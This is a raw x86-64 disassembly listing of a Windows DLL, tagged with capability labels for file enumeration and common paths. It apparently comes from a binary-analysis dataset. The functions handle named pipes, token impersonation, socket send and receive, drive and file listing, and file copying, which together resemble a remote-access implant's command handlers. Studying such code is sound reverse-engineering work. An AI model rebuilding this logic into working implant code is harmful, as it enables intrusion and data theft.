Function at 0x1800107e0
Capabilities:
Enumerate files on windows
Get common file path

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x40
mov rdi, rcx
mov ecx, 0x6000
mov ebx, edx
call fcn.180014214
mov r12d, 0x2000
mov rcx, rax
mov edx, r12d
mov r15, rax
call fcn.180014370
mov edx, r12d
mov rcx, r15
mov r14, rax
call fcn.180014370
mov edx, r12d
mov rcx, r15
mov rsi, rax
call fcn.180014370
lea rcx, [rsp + 0x20]
mov r8d, ebx
mov rdx, rdi
mov rbp, rax
call fcn.18001432c
lea rcx, [rsp + 0x20]
mov r8d, r12d
mov rdx, r14
call fcn.18001440c
mov r8d, r12d
mov rdx, rsi
mov rcx, r14
call fcn.180010bd8
lea rcx, [rsp + 0x20]
mov r8d, r12d
mov rdx, rbp
call fcn.18001440c
mov rcx, rsi
call fcn.18000c880
mov r8d, r12d
mov rcx, r14
lea rdx, [rax + 4]
mov rbx, rax
mov dword [rax], 1
call fcn.180010bd8
lea rdx, [rbx + 0x2004]
mov r8d, r12d
mov rcx, rbp
call fcn.180010bd8
mov rcx, r15
call fcn.180014308
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop r12
ret
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, qword [0x18003f460]
mov rdi, rcx
lea rcx, [rsp + 0x20]
mov edx, 0x8000
call fcn.18000cae8
jmp 0x18000c779
cmp dword [rbx], 1
jne 0x18000c772
lea r8, [rbx + 0x2004]
lea rdx, [0x18002c6b0]
lea rcx, [rsp + 0x20]
call fcn.18000cb4c
mov rbx, qword [rbx + 0x4008]
test rbx, rbx
jne 0x18000c755
lea rcx, [rsp + 0x20]
call fcn.18000cb48
lea rcx, [rsp + 0x20]
mov ebx, eax
call fcn.18000cbb8
xor r8d, r8d
mov rcx, rax
mov edx, ebx
call rdi
lea rcx, [rsp + 0x20]
call fcn.18000cac4
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rsi, qword [0x18003f460]
mov rdi, rcx
mov r14d, 0x2000
mov ecx, r14d
movsxd rbx, edx
call fcn.180019d3c
mov r8d, r14d
mov rcx, rdi
mov rdx, rax
mov rbp, rax
mov byte [rbx + rdi], 0
call fcn.180010bd8
jmp 0x18000c84c
cmp dword [rsi], 1
jne 0x18000c845
lea rcx, [rsi + 4]
mov r8, rbp
mov rax, rcx
sub r8, rcx
movzx edx, byte [rax]
movzx r9d, byte [rax + r8]
sub edx, r9d
jne 0x18000c826
inc rax
test r9d, r9d
jne 0x18000c811
test edx, edx
jne 0x18000c845
and dword [rsi], edx
mov r8, r14
call fcn.180019ff0
lea rcx, [rsi + 0x2004]
mov r8, r14
xor edx, edx
call fcn.180019ff0
mov rsi, qword [rsi + 0x4008]
test rsi, rsi
jne 0x18000c7ff
mov r8, r14
xor edx, edx
mov rcx, rbp
call fcn.180019ff0
mov rcx, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
jmp fcn.180019cfc
push rbx
sub rsp, 0xd0
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
xor r9d, r9d
call fcn.18000d29c
test eax, eax
je 0x18000cd9b
lea rcx, [rsp + 0x20]
call fcn.18000d09c
test eax, eax
je 0x18000cd8f
mov ebx, dword [rsp + 0x20]
mov rcx, qword [rsp + 0xb8]
add rbx, rcx
cmp word [rsp + 0xb0], 2
je 0x18000cd7e
movsxd rdx, dword [rsp + 0x30]
call fcn.1800121d8
test eax, eax
je 0x18000cd8f
mov edx, dword [rsp + 0xa0]
mov rcx, qword [rsp + 0x98]
call rbx
lea rcx, [rsp + 0x20]
xor edx, edx
call fcn.18000cbf4
add rsp, 0xd0
pop rbx
ret
cmp edx, 0x3ff
jg 0x18000ebe3
push rbx
sub rsp, 0x420
movsxd rbx, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
mov r8, rbx
call fcn.18001b3d0
lea rcx, [rsp + 0x20]
mov byte [rsp + rbx + 0x20], 0
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
add rsp, 0x420
pop rbx
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov rdi, rcx
mov ecx, 0x8000
mov ebx, edx
call fcn.180014214
mov r13d, 0x2000
mov rcx, rax
mov edx, r13d
mov r12, rax
call fcn.180014370
mov edx, r13d
mov rcx, r12
mov rbp, rax
call fcn.180014370
mov edx, r13d
mov rcx, r12
mov rsi, rax
call fcn.180014370
mov edx, r13d
mov rcx, r12
mov r14, rax
call fcn.180014370
lea rcx, [rsp + 0x20]
mov r8d, ebx
mov rdx, rdi
mov r15, rax
call fcn.18001432c
lea rcx, [rsp + 0x20]
mov r8d, r13d
mov rdx, rbp
call fcn.18001440c
lea rcx, [rsp + 0x20]
mov r8d, r13d
mov rdx, r14
call fcn.18001440c
lea rcx, [rsp + 0x20]
call fcn.1800143d4
mov r8d, r13d
mov rdx, rsi
mov rcx, rbp
movzx ebx, ax
call fcn.180010bd8
mov r9d, r13d
mov r8, rsi
mov edx, r13d
mov rcx, r15
call fcn.18001b2e4
mov r9d, r13d
mov r8, r14
mov edx, r13d
mov rcx, r15
call fcn.18001b2e4
test bl, 1
je 0x18000ed13
lea rcx, [rsp + 0x80]
call fcn.180010c5c
movzx r8d, bx
or rax, 0xffffffffffffffff
inc rax
cmp byte [r15 + rax], 0
jne 0x18000ecef
lea edx, [rax + 1]
mov rcx, r15
call fcn.18000f47c
mov rcx, qword [rsp + 0x80]
call fcn.180010c94
jmp 0x18000ed30
movzx r8d, bx
or rax, 0xffffffffffffffff
inc rax
cmp byte [r15 + rax], 0
jne 0x18000ed1b
lea edx, [rax + 1]
mov rcx, r15
call fcn.18000f47c
mov rcx, r12
call fcn.180014308
lea r11, [rsp + 0x40]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
lea rbp, [rax - 0x3c8]
sub rsp, 0x4c0
mov rsi, rcx
movsxd rdi, edx
mov ebx, 0x68
lea rcx, [rsp + 0x50]
xor edx, edx
mov r8d, ebx
call fcn.180019ff0
xor eax, eax
lea rcx, [rsp + 0x50]
mov dword [rsp + 0x50], ebx
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rax
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
xor r14d, r14d
mov word [rbp - 0x70], r14w
mov qword [rbp - 0x58], r14
mov qword [rbp - 0x50], r14
mov qword [rbp - 0x60], r14
mov dword [rbp - 0x74], 0x101
cmp edi, 0x3ff
jg 0x18000ee14
lea rcx, [rbp - 0x40]
mov r8, rdi
mov rdx, rsi
call fcn.18001b3d0
lea r9, [rsp + 0x30]
lea r8, [rsp + 0x50]
lea rcx, [rbp - 0x40]
mov edx, edi
mov dword [rsp + 0x28], r14d
mov byte [rbp + rdi - 0x40], r14b
mov dword [rsp + 0x20], r14d
call fcn.180015a8c
lea rcx, [rsp + 0x30]
call fcn.180012938
lea r11, [rsp + 0x4c0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
sub rsp, 0x48
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.18001432c
lea rcx, [rsp + 0x20]
call fcn.18001433c
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
add rsp, 0x48
ret
push rbx
sub rsp, 0x820
mov rbx, rcx
lea rcx, [rsp + 0x21]
xor edx, edx
mov r8d, 0x7ff
mov byte [rsp + 0x20], 0
call fcn.180019ff0
lea rdx, [rsp + 0x20]
mov ecx, 0x800
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
test eax, eax
je 0x18000eea6
lea rcx, [rsp + 0x20]
mov r8d, reloc.WS2_32.dll_send
mov edx, eax
call rbx
add rsp, 0x820
pop rbx
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x60
mov rdi, rcx
mov ecx, 0x4c00
mov ebx, edx
call fcn.180014214
mov edx, 0x4000
mov rcx, rax
mov rsi, rax
call fcn.180014370
mov r13d, 0x400
mov rcx, rsi
mov edx, r13d
mov rbp, rax
call fcn.180014370
mov edx, r13d
mov rcx, rsi
mov r12, rax
call fcn.180014370
mov edx, r13d
mov rcx, rsi
mov r14, rax
call fcn.180014370
lea rcx, [rsp + 0x30]
mov r8d, ebx
mov rdx, rdi
mov r15, rax
call fcn.18001432c
lea rcx, [rsp + 0x30]
mov r8d, r13d
mov rdx, r12
call fcn.18001440c
test eax, eax
jne 0x18000ef4c
mov rcx, rsi
call fcn.180014308
jmp 0x18000efc7
lea rcx, [rsp + 0x30]
mov r8d, r13d
mov rdx, r14
call fcn.18001440c
test eax, eax
je 0x18000ef42
lea rcx, [rsp + 0x30]
mov r8d, r13d
mov rdx, r15
call fcn.18001440c
test eax, eax
je 0x18000ef42
lea rcx, [rsp + 0x30]
mov r8d, 0x4000
mov rdx, rbp
call fcn.18001440c
test eax, eax
je 0x18000ef42
call fcn.18001945c
lea rax, [rsp + 0x48]
mov r9, rbp
mov qword [rsp + 0x28], rax
and dword [rsp + 0x20], 0
mov r8, r15
mov rdx, r14
mov rcx, r12
call fcn.180010028
call fcn.18001948c
mov rcx, rsi
call fcn.180014308
lea rcx, [rsp + 0x48]
call fcn.180012938
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r14
lea rbp, [rax - 0x5f]
sub rsp, 0xe0
mov rdi, rcx
mov ebx, edx
mov esi, 0x68
lea rcx, [rbp - 0x29]
xor edx, edx
mov r8d, esi
call fcn.180019ff0
xor eax, eax
lea rcx, [rbp - 0x29]
mov dword [rbp - 0x29], esi
mov qword [rbp - 0x59], rax
mov qword [rbp - 0x51], rax
mov qword [rbp - 0x49], rax
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
xor r12d, r12d
mov ecx, 0x2000
mov word [rbp + 0x17], r12w
mov qword [rbp + 0x2f], r12
mov qword [rbp + 0x37], r12
mov qword [rbp + 0x27], r12
mov dword [rbp + 0x13], 0x101
call fcn.180014214
mov edx, 0x2000
mov rcx, rax
mov r14, rax
call fcn.180014370
lea rcx, [rbp - 0x41]
mov r8d, ebx
mov rdx, rdi
mov rsi, rax
call fcn.18001432c
lea rcx, [rbp - 0x41]
call fcn.18001433c
lea rcx, [rbp - 0x41]
mov r8d, 0x2000
mov rdx, rsi
mov ebx, eax
call fcn.18001440c
or rdx, 0xffffffffffffffff
inc rdx
cmp byte [rsi + rdx], r12b
jne 0x18000f0a2
mov dword [rsp + 0x30], ebx
lea r9, [rbp - 0x59]
lea r8, [rbp - 0x29]
mov rcx, rsi
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], reloc.WS2_32.dll_recv
call fcn.1800158dc
mov rcx, r14
call fcn.180014308
lea rcx, [rbp - 0x59]
call fcn.180012938
lea r11, [rsp + 0xe0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop r12
pop rbp
ret
jmp 0x1800291e8
push rbx
sub rsp, 0x40
xor ebx, ebx
cmp dword [section..data], ebx
je 0x18000f14d
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.18001432c
lea rcx, [rsp + 0x20]
call fcn.18001433c
lea rcx, [rsp + 0x20]
mov dword [section..data], eax
call fcn.18001433c
lea ecx, [rax - 1]
cmp ecx, 0x62
cmova eax, ebx
mov dword [0x18003f468], eax
add rsp, 0x40
pop rbx
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x40
mov ebx, edx
mov rdi, rcx
or rsi, 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea rcx, [rsp + 0x20]
mov r8d, ebx
mov rdx, rdi
lea ebp, [rax + 0xea60]
call fcn.18001432c
lea rcx, [rsp + 0x20]
call fcn.180014484
lea rcx, [rsp + 0x20]
mov r14, rax
call fcn.18001433c
lea rcx, [rsp + 0x20]
mov r15d, eax
call fcn.180014290
lea rcx, [rsp + 0x20]
mov rbx, rax
call fcn.18000cb48
mov edi, eax
call fcn.18000de78
jmp 0x18000f1ea
mov edx, r15d
mov rcx, r14
call fcn.18000f5f4
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x18000f22a
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, ebp
jb 0x18000f1cb
mov ecx, 0x46
call fcn.18000dd50
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, rsi
call sub.WS2_32.dll_closesocket
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x40
pop r15
pop r14
pop rdi
ret
xor r9d, r9d
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call sub.WS2_32.dll_send
jmp 0x18000f1fe
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x47]
sub rsp, 0xd0
mov ebx, edx
mov rdi, rcx
xor esi, esi
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea rcx, [rbp - 0x51]
mov r8d, ebx
mov rdx, rdi
lea r14d, [rax + 0xea60]
call fcn.18001432c
lea rdx, [rbp - 0x39]
lea rcx, [rbp - 0x51]
mov r8d, 0x80
call fcn.18001440c
lea rcx, [rbp - 0x51]
call fcn.180014290
lea rcx, [rbp - 0x51]
mov rdi, rax
call fcn.18000cb48
xor ebx, ebx
mov dword [rbp + 0x77], eax
lea rdx, [rbp - 0x59]
lea rcx, [rbp - 0x39]
call fcn.180012b94
test eax, eax
jne 0x18000f2ff
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x35
je 0x18000f2e3
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, r14d
jae 0x18000f2e3
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
cmp ebx, 0xa
jb 0x18000f2aa
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, [rbp - 0x39]
mov ecx, gethostbyname
mov r8d, eax
call fcn.18000dd70
jmp 0x18000f382
mov rcx, qword [rbp - 0x59]
and qword [rsp + 0x20], rsi
lea r9, [rbp + 0x7f]
lea rdx, [rbp + 0x77]
mov r8d, 4
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [rbp + 0x77]
test eax, eax
je 0x18000f359
mov ebx, 0x2000
mov rcx, qword [rbp - 0x59]
sub eax, esi
mov edx, esi
cmp eax, ebx
lea r9, [rbp + 0x7f]
cmova eax, ebx
and qword [rsp + 0x20], 0
add rdx, rdi
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x18000f359
add esi, dword [rbp + 0x7f]
mov eax, dword [rbp + 0x77]
cmp esi, eax
jb 0x18000f328
mov rcx, qword [rbp - 0x59]
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov rcx, qword [rbp - 0x59]
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov rcx, qword [rbp - 0x59]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
mov rbp, rcx
mov ecx, 0x400
mov rbx, r8
mov esi, edx
call fcn.180019d3c
mov rdi, rax
test rax, rax
je 0x18000f465
lea rcx, [rsp + 0x20]
mov r8d, esi
mov rdx, rbp
call fcn.18001432c
lea rcx, [rsp + 0x20]
mov r8d, 0x400
mov rdx, rdi
call fcn.18001440c
mov rcx, rdi
test eax, eax
jne 0x18000f3ff
call fcn.180019cfc
jmp 0x18000f465
mov rdx, rbx
call fcn.18001b0b8
mov rsi, rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x18000f44b
lea rcx, [rsp + 0x20]
call fcn.18000cb48
lea rcx, [rsp + 0x20]
movsxd rbx, eax
call fcn.180014290
mov r9, rsi
mov r8, rbx
mov edx, 1
mov rcx, rax
call fcn.18001b254
mov rcx, rsi
call fcn.18001af78
mov rcx, rdi
jmp 0x18000f3f8
mov rcx, rdi
call fcn.180019cfc
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 8
mov edx, eax
call fcn.18000dc84
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x220
mov rdi, rcx
mov rcx, qword [0x18003c020]
or rbx, 0xffffffffffffffff
cmp rcx, rbx
je 0x18000f6d7
mov edx, 0x3a98
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [0x18003c018]
cmp rcx, rbx
je 0x18000f743
call qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
test eax, eax
jne 0x18000f701
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, listen
mov edx, eax
call fcn.18000dc84
jmp 0x18000f74d
mov rcx, qword [0x18003c018]
lea rdx, [rsp + 0x20]
mov r8d, 0x200
mov qword [0x180043820], rcx
call fcn.180019538
test eax, eax
je 0x18000f74d
lea rax, [rsp + 0x20]
inc rbx
cmp byte [rax + rbx], 0
jne 0x18000f728
lea rcx, [rsp + 0x20]
mov rdx, rbx
mov r8d, reloc.WS2_32.dll_ntohs
call rdi
jmp 0x18000f74d
mov ecx, 1
call fcn.18000dd50
mov rbx, qword [rsp + 0x230]
add rsp, 0x220
pop rdi
ret
cmp edx, 0x100
jge 0x18000f7f9
push rbx
sub rsp, 0x140
movsxd rbx, edx
mov rdx, rcx
lea rcx, [rsp + 0x40]
mov r8, rbx
call fcn.18001a330
and qword [rsp + 0x38], 0
and dword [rsp + 0x30], 0
and dword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
or rax, 0xffffffffffffffff
lea edx, [rax + 4]
lea r9d, [rax + 3]
lea r8d, [rax + 5]
lea rcx, [rsp + 0x40]
mov byte [rsp + rbx + 0x40], 0
mov qword [0x18003c018], rax
mov qword [0x18003c010], rax
mov qword [0x18003c020], rax
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov qword [0x18003c010], rax
test rax, rax
je 0x18000f7f1
lea rcx, [0x18000f8e0]
xor edx, edx
call fcn.180018dd0
mov qword [0x18003c020], rax
add rsp, 0x140
pop rbx
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x40
mov rdi, rcx
mov ebx, edx
lea rcx, [rsp + 0x20]
mov edx, 0x8000
mov rsi, r8
call fcn.18000cae8
cmp qword [0x180043820], 0
je 0x18000f84e
call fcn.18001945c
mov r8, qword [0x180043820]
lea r9, [rsp + 0x20]
mov edx, ebx
mov rcx, rdi
call fcn.18000f9b0
call fcn.18001948c
jmp 0x18000f896
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x68]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x18000f88c
mov r8, qword [rsp + 0x68]
lea r9, [rsp + 0x20]
mov edx, ebx
mov rcx, rdi
call fcn.18000f9b0
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x18000f896
mov ecx, 0x3b
call fcn.18000dd50
lea rcx, [rsp + 0x20]
call fcn.18000cb48
test eax, eax
je 0x18000f8c4
lea rcx, [rsp + 0x20]
call fcn.18000cb48
lea rcx, [rsp + 0x20]
mov ebx, eax
call fcn.18000cbb8
xor r8d, r8d
mov rcx, rax
mov edx, ebx
call rsi
lea rcx, [rsp + 0x20]
call fcn.18000cac4
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x50
mov rdi, rcx
mov ecx, 0x1000
mov r13, r8
mov ebx, edx
call fcn.180014214
mov r14d, 0x800
mov rcx, rax
mov edx, r14d
mov rbp, rax
call fcn.180014370
mov edx, r14d
mov rcx, rbp
mov rsi, rax
call fcn.180014370
lea rcx, [rsp + 0x38]
mov r8d, ebx
mov rdx, rdi
mov r12, rax
call fcn.18001432c
lea rcx, [rsp + 0x38]
mov r8d, r14d
mov rdx, rsi
call fcn.1800144b0
lea rdx, [0x18002c728]
mov rcx, rsi
call fcn.18001b0b8
mov rdi, rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x1800103fc
xor edx, edx
mov rcx, rax
lea r8d, [rdx + 2]
call fcn.18001b934
mov rcx, rdi
call fcn.18001b9a8
xor r8d, r8d
xor edx, edx
mov rcx, rdi
mov r15, rax
call fcn.18001b934
lea rcx, [r15 - 1]
mov eax, 0xfffffffe
cmp rcx, rax
ja 0x1800103dd
xor r9d, r9d
mov r8, r12
mov edx, r14d
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFullPathNameA]
mov r14d, eax
lea ecx, [rax - 1]
cmp ecx, 0x7ff
ja 0x1800103d6
mov ecx, 0x18
call fcn.180019d3c
mov rcx, qword [0x18003f530]
mov r8d, dword [0x18003f538]
mov qword [rax + 0x10], rcx
mov dword [rax], r8d
inc r8d
lea rcx, [rsp + 0x20]
mov edx, 0x1000
mov rbx, rax
mov qword [rax + 8], rdi
mov dword [rax + 4], r15d
mov qword [0x18003f530], rax
mov dword [0x18003f538], r8d
call fcn.18000cae8
mov edx, dword [rbx]
lea rcx, [rsp + 0x20]
call fcn.18000cb18
lea rcx, [rsp + 0x20]
mov edx, r15d
call fcn.18000cb18
lea rcx, [rsp + 0x20]
mov r8d, r14d
mov rdx, r12
call fcn.18000ca5c
lea rcx, [rsp + 0x20]
call fcn.18000cb48
lea rcx, [rsp + 0x20]
mov ebx, eax
call fcn.18000cbb8
mov r8d, 2
mov rcx, rax
mov edx, ebx
call r13
lea rcx, [rsp + 0x20]
call fcn.18000cac4
jmp 0x180010409
mov ecx, 0x3d
jmp 0x1800103e2
mov ecx, 0x3c
mov rdx, rsi
call fcn.18000dd60
mov rcx, rbp
call fcn.180014308
mov rcx, rdi
call fcn.18001af78
jmp 0x180010411
mov rdx, rsi
mov ecx, 0x28
call fcn.18000dd60
mov rcx, rbp
call fcn.180014308
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov ecx, dword [rcx]
mov rbx, qword [0x18003f530]
call sub.WS2_32.dll_ntohl
mov edi, eax
jmp 0x180010461
cmp dword [rbx], edi
jne 0x18001045d
mov rcx, qword [rbx + 8]
and dword [rbx + 4], 0
call fcn.18001af78
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x18001044c
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
mov rsi, rcx
mov ecx, 0x4000
mov edi, edx
call fcn.180014214
mov edx, 0x2000
mov rcx, rax
mov r14, rax
call fcn.180014370
mov edx, 0x2000
mov rcx, r14
mov rbp, rax
call fcn.180014370
lea rcx, [rsp + 0x20]
mov r8d, edi
mov rdx, rsi
mov rbx, rax
call fcn.18001432c
lea rcx, [rsp + 0x20]
mov r8d, 0x2000
mov rdx, rbp
call fcn.18001440c
lea rcx, [rsp + 0x20]
mov r8d, 0x2000
mov rdx, rbx
call fcn.18001440c
xor r8d, r8d
mov rdx, rbx
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x1800106c6
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, reloc.WS2_32.dll_listen
mov edx, eax
call fcn.18000dc84
mov rcx, r14
call fcn.180014308
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
push rbx
sub rsp, 0x40
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.18001432c
lea rcx, [rsp + 0x20]
mov edx, 0x4000
call fcn.1800144f8
mov rcx, rax
mov rbx, rax
call fcn.180010c44
mov rcx, rbx
test eax, eax
je 0x180010739
lea rdx, [0x180010b60]
call fcn.180016784
mov rcx, rbx
call fcn.18001be18
jmp 0x18001073e
call fcn.18001bcf8
mov rcx, rbx
call fcn.180019cfc
add rsp, 0x40
pop rbx
ret
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x50
mov rdi, r8
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x38]
call fcn.18001432c
lea rcx, [rsp + 0x20]
mov edx, 0x80
call fcn.18000cae8
lea rcx, [rsp + 0x38]
call fcn.18001433c
lea rcx, [rsp + 0x20]
mov edx, eax
call fcn.18000cb18
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
lea rdx, [0x18002c72c]
lea rcx, [rsp + 0x20]
mov r8d, eax
call fcn.18000cb4c
lea rcx, [rsp + 0x20]
call fcn.18000cb48
lea rcx, [rsp + 0x20]
mov ebx, eax
call fcn.18000cbb8
mov r8d, reloc.WS2_32.dll_shutdown
mov rcx, rax
mov edx, ebx
call rdi
lea rcx, [rsp + 0x20]
call fcn.18000cac4
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0xf8]
sub rsp, 0x1e0
mov rdi, rcx
mov r15d, 0x4000
mov r14, r8
mov ecx, r15d
mov ebx, edx
call fcn.180019d3c
mov r8d, r15d
xor edx, edx
mov rcx, rax
mov rsi, rax
call fcn.180019ff0
lea rcx, [rsp + 0x78]
mov r8d, ebx
mov rdx, rdi
call fcn.18001432c
lea rcx, [rsp + 0x78]
call fcn.18001433c
lea rcx, [rsp + 0x78]
mov r8d, r15d
mov rdx, rsi
mov ebx, eax
call fcn.18001440c
lea rcx, [rsp + 0x60]
mov edx, 0x200000
call fcn.18000cae8
lea rcx, [rsp + 0x60]
mov edx, ebx
call fcn.18000cb18
lea rdx, [0x18002c738]
mov r8d, r15d
mov rcx, rsi
call fcn.18001bd50
test eax, eax
jne 0x1800108a9
mov rdx, rsi
mov ecx, r15d
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea r8, [0x18002c73c]
mov r9d, 2
mov edx, r15d
mov rcx, rsi
call fcn.18001b2e4
lea rdx, [0x18002c6b0]
lea rcx, [rsp + 0x60]
mov r8, rsi
call fcn.18000cb4c
lea rdx, [rbp - 0x60]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x180010918
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [rbx + 0x35]
mov rdx, rsi
mov r8d, eax
call fcn.18000dd70
lea rcx, [rsp + 0x60]
call fcn.18000cb48
lea rcx, [rsp + 0x60]
mov ebx, eax
call fcn.18000cbb8
mov r8d, reloc.WS2_32.dll_shutdown
mov rcx, rax
mov edx, ebx
call r14
mov rcx, rsi
call fcn.180019cfc
jmp 0x180010a31
mov rcx, rsi
call fcn.180019cfc
lea rdx, [rbp - 0x70]
lea rcx, [rbp - 0x4c]
call qword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
